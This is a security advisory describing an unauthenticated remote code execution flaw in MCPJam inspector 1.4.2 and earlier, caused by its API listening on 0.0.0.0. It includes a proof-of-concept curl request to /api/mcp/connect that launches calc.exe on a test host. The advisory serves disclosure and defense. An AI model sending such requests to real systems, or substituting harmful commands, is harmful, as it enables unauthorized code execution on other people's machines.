GHSA-232v-j27c-5pp6: REC in MCPJam inspector due to HTTP Endpoint exposes

Summary

MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.

This vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request.

Details

MCPJam inspector binds to 0.0.0.0 making its HTTP APIs remotely reachable.

const server = serve({
  fetch: app.fetch,
  port: SERVER_PORT,
  hostname: "0.0.0.0",
});

The /api/mcp/connect API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. When an HTTP request reaches the /connect route, the system extracts the command and args fields without performing any security checks, leading to the execution of arbitrary command.

PoC

(1) Start up the MCPJam inspector as Github README npx @mcpjam/inspector@latest

(2) RCE by posting a HTTP request A remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment). curl http://10.97.58.83:6274/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"cmd.exe\",\"args\":[\"/c\", \"calc\"],\"env\":{}},\"serverId\":\"mytest\"}"

<img width="1669" height="1397" alt="image" src="https://github.com/user-attachments/assets/cb6505f1-3cdd-4c64-8f39-a01619a63411" />

Impact

Remote Code Execution (RCE)